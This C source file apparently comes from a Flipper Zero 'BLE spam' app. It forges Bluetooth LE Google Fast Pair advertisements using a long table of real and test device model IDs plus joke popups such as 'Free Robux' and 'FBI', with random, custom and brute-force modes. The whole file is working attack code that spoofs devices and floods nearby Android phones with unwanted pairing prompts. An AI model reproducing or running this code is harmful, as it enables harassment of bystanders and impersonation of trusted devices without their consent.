fastpair.c 15 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457
  1. #include "fastpair.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
  5. const struct {
  6. uint32_t value;
  7. const char* name;
  8. } models[] = {
  9. // Genuine non-production/forgotten (good job Google)
  10. {0x0001F0, "Bisto CSR8670 Dev Board"},
  11. {0x000047, "Arduino 101"},
  12. {0x470000, "Arduino 101 2"},
  13. {0x00000A, "Anti-Spoof Test"},
  14. {0x0A0000, "Anti-Spoof Test 2"},
  15. {0x00000B, "Google Gphones"},
  16. {0x0B0000, "Google Gphones 2"},
  17. {0x0C0000, "Google Gphones 3"},
  18. {0x00000D, "Test 00000D"},
  19. {0x000007, "Android Auto"},
  20. {0x070000, "Android Auto 2"},
  21. {0x000008, "Foocorp Foophones"},
  22. {0x080000, "Foocorp Foophones 2"},
  23. {0x000009, "Test Android TV"},
  24. {0x090000, "Test Android TV 2"},
  25. {0x000035, "Test 000035"},
  26. {0x350000, "Test 000035 2"},
  27. {0x000048, "Fast Pair Headphones"},
  28. {0x480000, "Fast Pair Headphones 2"},
  29. {0x000049, "Fast Pair Headphones 3"},
  30. {0x490000, "Fast Pair Headphones 4"},
  31. {0x001000, "LG HBS1110"},
  32. {0x00B727, "Smart Controller 1"},
  33. {0x01E5CE, "BLE-Phone"},
  34. {0x0200F0, "Goodyear"},
  35. {0x00F7D4, "Smart Setup"},
  36. {0xF00002, "Goodyear"},
  37. {0xF00400, "T10"},
  38. {0x1E89A7, "ATS2833_EVB"},
  39. // Phone setup
  40. {0x00000C, "Google Gphones Transfer"},
  41. {0x0577B1, "Galaxy S23 Ultra"},
  42. {0x05A9BC, "Galaxy S20+"},
  43. // Genuine devices
  44. {0xCD8256, "Bose NC 700"},
  45. {0x0000F0, "Bose QuietComfort 35 II"},
  46. {0xF00000, "Bose QuietComfort 35 II 2"},
  47. {0x821F66, "JBL Flip 6"},
  48. {0xF52494, "JBL Buds Pro"},
  49. {0x718FA4, "JBL Live 300TWS"},
  50. {0x0002F0, "JBL Everest 110GA"},
  51. {0x92BBBD, "Pixel Buds"},
  52. {0x000006, "Google Pixel buds"},
  53. {0x060000, "Google Pixel buds 2"},
  54. {0xD446A7, "Sony XM5"},
  55. {0x2D7A23, "Sony WF-1000XM4"},
  56. {0x0E30C3, "Razer Hammerhead TWS"},
  57. {0x72EF8D, "Razer Hammerhead TWS X"},
  58. {0x72FB00, "Soundcore Spirit Pro GVA"},
  59. {0x0003F0, "LG HBS-835S"},
  60. {0x002000, "AIAIAI TMA-2 (H60)"},
  61. {0x003000, "Libratone Q Adapt On-Ear"},
  62. {0x003001, "Libratone Q Adapt On-Ear 2"},
  63. {0x00A168, "boAt Airdopes 621"},
  64. {0x00AA48, "Jabra Elite 2"},
  65. {0x00AA91, "Beoplay E8 2.0"},
  66. {0x00C95C, "Sony WF-1000X"},
  67. {0x01EEB4, "WH-1000XM4"},
  68. {0x02AA91, "B&O Earset"},
  69. {0x01C95C, "Sony WF-1000X"},
  70. {0x02D815, "ATH-CK1TW"},
  71. {0x035764, "PLT V8200 Series"},
  72. {0x038CC7, "JBL TUNE760NC"},
  73. {0x02DD4F, "JBL TUNE770NC"},
  74. {0x02E2A9, "TCL MOVEAUDIO S200"},
  75. {0x035754, "Plantronics PLT_K2"},
  76. {0x02C95C, "Sony WH-1000XM2"},
  77. {0x038B91, "DENON AH-C830NCW"},
  78. {0x02F637, "JBL LIVE FLEX"},
  79. {0x02D886, "JBL REFLECT MINI NC"},
  80. {0xF00000, "Bose QuietComfort 35 II"},
  81. {0xF00001, "Bose QuietComfort 35 II"},
  82. {0xF00201, "JBL Everest 110GA"},
  83. {0xF00204, "JBL Everest 310GA"},
  84. {0xF00209, "JBL LIVE400BT"},
  85. {0xF00205, "JBL Everest 310GA"},
  86. {0xF00200, "JBL Everest 110GA"},
  87. {0xF00208, "JBL Everest 710GA"},
  88. {0xF00207, "JBL Everest 710GA"},
  89. {0xF00206, "JBL Everest 310GA"},
  90. {0xF0020A, "JBL LIVE400BT"},
  91. {0xF0020B, "JBL LIVE400BT"},
  92. {0xF0020C, "JBL LIVE400BT"},
  93. {0xF00203, "JBL Everest 310GA"},
  94. {0xF00202, "JBL Everest 110GA"},
  95. {0xF00213, "JBL LIVE650BTNC"},
  96. {0xF0020F, "JBL LIVE500BT"},
  97. {0xF0020E, "JBL LIVE500BT"},
  98. {0xF00214, "JBL LIVE650BTNC"},
  99. {0xF00212, "JBL LIVE500BT"},
  100. {0xF0020D, "JBL LIVE400BT"},
  101. {0xF00211, "JBL LIVE500BT"},
  102. {0xF00215, "JBL LIVE650BTNC"},
  103. {0xF00210, "JBL LIVE500BT"},
  104. {0xF00305, "LG HBS-1500"},
  105. {0xF00304, "LG HBS-1010"},
  106. {0xF00308, "LG HBS-1125"},
  107. {0xF00303, "LG HBS-930"},
  108. {0xF00306, "LG HBS-1700"},
  109. {0xF00300, "LG HBS-835S"},
  110. {0xF00309, "LG HBS-2000"},
  111. {0xF00302, "LG HBS-830"},
  112. {0xF00307, "LG HBS-1120"},
  113. {0xF00301, "LG HBS-835"},
  114. {0xF00E97, "JBL VIBE BEAM"},
  115. {0x04ACFC, "JBL WAVE BEAM"},
  116. {0x04AA91, "Beoplay H4"},
  117. {0x04AFB8, "JBL TUNE 720BT"},
  118. {0x05A963, "WONDERBOOM 3"},
  119. {0x05AA91, "B&O Beoplay E6"},
  120. {0x05C452, "JBL LIVE220BT"},
  121. {0x05C95C, "Sony WI-1000X"},
  122. {0x0602F0, "JBL Everest 310GA"},
  123. {0x0603F0, "LG HBS-1700"},
  124. {0x1E8B18, "SRS-XB43"},
  125. {0x1E955B, "WI-1000XM2"},
  126. {0x1EC95C, "Sony WF-SP700N"},
  127. {0x1ED9F9, "JBL WAVE FLEX"},
  128. {0x1EE890, "ATH-CKS30TW WH"},
  129. {0x1EEDF5, "Teufel REAL BLUE TWS 3"},
  130. {0x1F1101, "TAG Heuer Calibre E4 45mm"},
  131. {0x1F181A, "LinkBuds S"},
  132. {0x1F2E13, "Jabra Elite 2"},
  133. {0x1F4589, "Jabra Elite 2"},
  134. {0x1F4627, "SRS-XG300"},
  135. {0x1F5865, "boAt Airdopes 441"},
  136. {0x1FBB50, "WF-C700N"},
  137. {0x1FC95C, "Sony WF-SP700N"},
  138. {0x1FE765, "TONE-TF7Q"},
  139. {0x1FF8FA, "JBL REFLECT MINI NC"},
  140. {0x201C7C, "SUMMIT"},
  141. {0x202B3D, "Amazfit PowerBuds"},
  142. {0x20330C, "SRS-XB33"},
  143. {0x003B41, "M&D MW65"},
  144. {0x003D8A, "Cleer FLOW II"},
  145. {0x005BC3, "Panasonic RP-HD610N"},
  146. {0x008F7D, "soundcore Glow Mini"},
  147. {0x00FA72, "Pioneer SE-MS9BN"},
  148. {0x0100F0, "Bose QuietComfort 35 II"},
  149. {0x011242, "Nirvana Ion"},
  150. {0x013D8A, "Cleer EDGE Voice"},
  151. {0x01AA91, "Beoplay H9 3rd Generation"},
  152. {0x038F16, "Beats Studio Buds"},
  153. {0x039F8F, "Michael Kors Darci 5e"},
  154. {0x03AA91, "B&O Beoplay H8i"},
  155. {0x03B716, "YY2963"},
  156. {0x03C95C, "Sony WH-1000XM2"},
  157. {0x03C99C, "MOTO BUDS 135"},
  158. {0x03F5D4, "Writing Account Key"},
  159. {0x045754, "Plantronics PLT_K2"},
  160. {0x045764, "PLT V8200 Series"},
  161. {0x04C95C, "Sony WI-1000X"},
  162. {0x050F0C, "Major III Voice"},
  163. {0x052CC7, "MINOR III"},
  164. {0x057802, "TicWatch Pro 5"},
  165. {0x0582FD, "Pixel Buds"},
  166. {0x058D08, "WH-1000XM4"},
  167. {0x06AE20, "Galaxy S21 5G"},
  168. {0x06C197, "OPPO Enco Air3 Pro"},
  169. {0x06C95C, "Sony WH-1000XM2"},
  170. {0x06D8FC, "soundcore Liberty 4 NC"},
  171. {0x0744B6, "Technics EAH-AZ60M2"},
  172. {0x07A41C, "WF-C700N"},
  173. {0x07C95C, "Sony WH-1000XM2"},
  174. {0x07F426, "Nest Hub Max"},
  175. {0x0102F0, "JBL Everest 110GA - Gun Metal"},
  176. {0x0202F0, "JBL Everest 110GA - Silver"},
  177. {0x0302F0, "JBL Everest 310GA - Brown"},
  178. {0x0402F0, "JBL Everest 310GA - Gun Metal"},
  179. {0x0502F0, "JBL Everest 310GA - Silver"},
  180. {0x0702F0, "JBL Everest 710GA - Gun Metal"},
  181. {0x0802F0, "JBL Everest 710GA - Silver"},
  182. {0x054B2D, "JBL TUNE125TWS"},
  183. {0x0660D7, "JBL LIVE770NC"},
  184. {0x0103F0, "LG HBS-835"},
  185. {0x0203F0, "LG HBS-830"},
  186. {0x0303F0, "LG HBS-930"},
  187. {0x0403F0, "LG HBS-1010"},
  188. {0x0503F0, "LG HBS-1500"},
  189. {0x0703F0, "LG HBS-1120"},
  190. {0x0803F0, "LG HBS-1125"},
  191. {0x0903F0, "LG HBS-2000"},
  192. // Custom debug popups
  193. {0xD99CA1, "Flipper Zero"},
  194. {0x77FF67, "Free Robux"},
  195. {0xAA187F, "Free VBucks"},
  196. {0xDCE9EA, "Rickroll"},
  197. {0x87B25F, "Animated Rickroll"},
  198. {0xF38C02, "Boykisser"},
  199. {0x1448C9, "BLM"},
  200. {0xD5AB33, "Xtreme"},
  201. {0x0C0B67, "Xtreme Cta"},
  202. {0x13B39D, "Talking Sasquach"},
  203. {0xAA1FE1, "ClownMaster"},
  204. {0x7C6CDB, "Obama"},
  205. {0x005EF9, "Ryanair"},
  206. {0xE2106F, "FBI"},
  207. {0xB37A62, "Tesla"},
  208. };
  209. const uint8_t models_count = COUNT_OF(models);
  210. static const char* get_name(const Payload* payload) {
  211. UNUSED(payload);
  212. return "FastPair";
  213. }
  214. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  215. FastpairCfg* cfg = payload ? &payload->cfg.fastpair : NULL;
  216. uint32_t model;
  217. switch(cfg ? payload->mode : PayloadModeRandom) {
  218. case PayloadModeRandom:
  219. default:
  220. model = models[rand() % models_count].value;
  221. break;
  222. case PayloadModeValue:
  223. model = cfg->model;
  224. break;
  225. case PayloadModeBruteforce:
  226. model = cfg->model = payload->bruteforce.value;
  227. break;
  228. }
  229. uint8_t size = 14;
  230. uint8_t* packet = malloc(size);
  231. uint8_t i = 0;
  232. packet[i++] = 3; // Size
  233. packet[i++] = 0x03; // AD Type (Service UUID List)
  234. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  235. packet[i++] = 0xFE; // ...
  236. packet[i++] = 6; // Size
  237. packet[i++] = 0x16; // AD Type (Service Data)
  238. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  239. packet[i++] = 0xFE; // ...
  240. packet[i++] = (model >> 0x10) & 0xFF;
  241. packet[i++] = (model >> 0x08) & 0xFF;
  242. packet[i++] = (model >> 0x00) & 0xFF;
  243. packet[i++] = 2; // Size
  244. packet[i++] = 0x0A; // AD Type (Tx Power Level)
  245. packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
  246. *_size = size;
  247. *_packet = packet;
  248. }
  249. enum {
  250. _ConfigExtraStart = ConfigExtraStart,
  251. ConfigModel,
  252. ConfigInfoRequire,
  253. ConfigCOUNT,
  254. };
  255. static void config_callback(void* _ctx, uint32_t index) {
  256. Ctx* ctx = _ctx;
  257. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  258. switch(index) {
  259. case ConfigModel:
  260. scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel);
  261. break;
  262. case ConfigInfoRequire:
  263. break;
  264. default:
  265. ctx->fallback_config_enter(ctx, index);
  266. break;
  267. }
  268. }
  269. static void model_changed(VariableItem* item) {
  270. Payload* payload = variable_item_get_context(item);
  271. FastpairCfg* cfg = &payload->cfg.fastpair;
  272. uint8_t index = variable_item_get_current_value_index(item);
  273. if(index) {
  274. index--;
  275. payload->mode = PayloadModeValue;
  276. cfg->model = models[index].value;
  277. variable_item_set_current_value_text(item, models[index].name);
  278. } else {
  279. payload->mode = PayloadModeRandom;
  280. variable_item_set_current_value_text(item, "Random");
  281. }
  282. }
  283. static void extra_config(Ctx* ctx) {
  284. Payload* payload = &ctx->attack->payload;
  285. FastpairCfg* cfg = &payload->cfg.fastpair;
  286. VariableItemList* list = ctx->variable_item_list;
  287. VariableItem* item;
  288. size_t value_index;
  289. item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, payload);
  290. const char* model_name = NULL;
  291. char model_name_buf[9];
  292. switch(payload->mode) {
  293. case PayloadModeRandom:
  294. default:
  295. model_name = "Random";
  296. value_index = 0;
  297. break;
  298. case PayloadModeValue:
  299. for(uint8_t i = 0; i < models_count; i++) {
  300. if(cfg->model == models[i].value) {
  301. model_name = models[i].name;
  302. value_index = i + 1;
  303. break;
  304. }
  305. }
  306. if(!model_name) {
  307. snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model);
  308. model_name = model_name_buf;
  309. value_index = models_count + 1;
  310. }
  311. break;
  312. case PayloadModeBruteforce:
  313. model_name = "Bruteforce";
  314. value_index = models_count + 1;
  315. break;
  316. }
  317. variable_item_set_current_value_index(item, value_index);
  318. variable_item_set_current_value_text(item, model_name);
  319. variable_item_list_add(list, "Requires Google services", 0, NULL, NULL);
  320. variable_item_list_set_enter_callback(list, config_callback, ctx);
  321. }
  322. static uint8_t config_count(const Payload* payload) {
  323. UNUSED(payload);
  324. return ConfigCOUNT - ConfigExtraStart - 1;
  325. }
  326. const Protocol protocol_fastpair = {
  327. .icon = &I_android,
  328. .get_name = get_name,
  329. .make_packet = make_packet,
  330. .extra_config = extra_config,
  331. .config_count = config_count,
  332. };
  333. static void model_callback(void* _ctx, uint32_t index) {
  334. Ctx* ctx = _ctx;
  335. Payload* payload = &ctx->attack->payload;
  336. FastpairCfg* cfg = &payload->cfg.fastpair;
  337. switch(index) {
  338. case 0:
  339. payload->mode = PayloadModeRandom;
  340. scene_manager_previous_scene(ctx->scene_manager);
  341. break;
  342. case models_count + 1:
  343. scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
  344. break;
  345. case models_count + 2:
  346. payload->mode = PayloadModeBruteforce;
  347. payload->bruteforce.counter = 0;
  348. payload->bruteforce.value = cfg->model;
  349. payload->bruteforce.size = 3;
  350. scene_manager_previous_scene(ctx->scene_manager);
  351. break;
  352. default:
  353. payload->mode = PayloadModeValue;
  354. cfg->model = models[index - 1].value;
  355. scene_manager_previous_scene(ctx->scene_manager);
  356. break;
  357. }
  358. }
  359. void scene_fastpair_model_on_enter(void* _ctx) {
  360. Ctx* ctx = _ctx;
  361. Payload* payload = &ctx->attack->payload;
  362. FastpairCfg* cfg = &payload->cfg.fastpair;
  363. Submenu* submenu = ctx->submenu;
  364. uint32_t selected = 0;
  365. submenu_reset(submenu);
  366. submenu_add_item(submenu, "Random", 0, model_callback, ctx);
  367. if(payload->mode == PayloadModeRandom) {
  368. selected = 0;
  369. }
  370. bool found = false;
  371. for(uint8_t i = 0; i < models_count; i++) {
  372. submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
  373. if(!found && payload->mode == PayloadModeValue && cfg->model == models[i].value) {
  374. found = true;
  375. selected = i + 1;
  376. }
  377. }
  378. submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
  379. if(!found && payload->mode == PayloadModeValue) {
  380. selected = models_count + 1;
  381. }
  382. submenu_add_item(submenu, "Bruteforce", models_count + 2, model_callback, ctx);
  383. if(payload->mode == PayloadModeBruteforce) {
  384. selected = models_count + 2;
  385. }
  386. submenu_set_selected_item(submenu, selected);
  387. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  388. }
  389. bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) {
  390. UNUSED(_ctx);
  391. UNUSED(event);
  392. return false;
  393. }
  394. void scene_fastpair_model_on_exit(void* _ctx) {
  395. UNUSED(_ctx);
  396. }
  397. static void model_custom_callback(void* _ctx) {
  398. Ctx* ctx = _ctx;
  399. Payload* payload = &ctx->attack->payload;
  400. FastpairCfg* cfg = &payload->cfg.fastpair;
  401. payload->mode = PayloadModeValue;
  402. cfg->model =
  403. (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
  404. scene_manager_previous_scene(ctx->scene_manager);
  405. scene_manager_previous_scene(ctx->scene_manager);
  406. }
  407. void scene_fastpair_model_custom_on_enter(void* _ctx) {
  408. Ctx* ctx = _ctx;
  409. Payload* payload = &ctx->attack->payload;
  410. FastpairCfg* cfg = &payload->cfg.fastpair;
  411. ByteInput* byte_input = ctx->byte_input;
  412. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  413. ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF;
  414. ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF;
  415. ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF;
  416. byte_input_set_result_callback(
  417. byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
  418. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  419. }
  420. bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  421. UNUSED(_ctx);
  422. UNUSED(event);
  423. return false;
  424. }
  425. void scene_fastpair_model_custom_on_exit(void* _ctx) {
  426. UNUSED(_ctx);
  427. }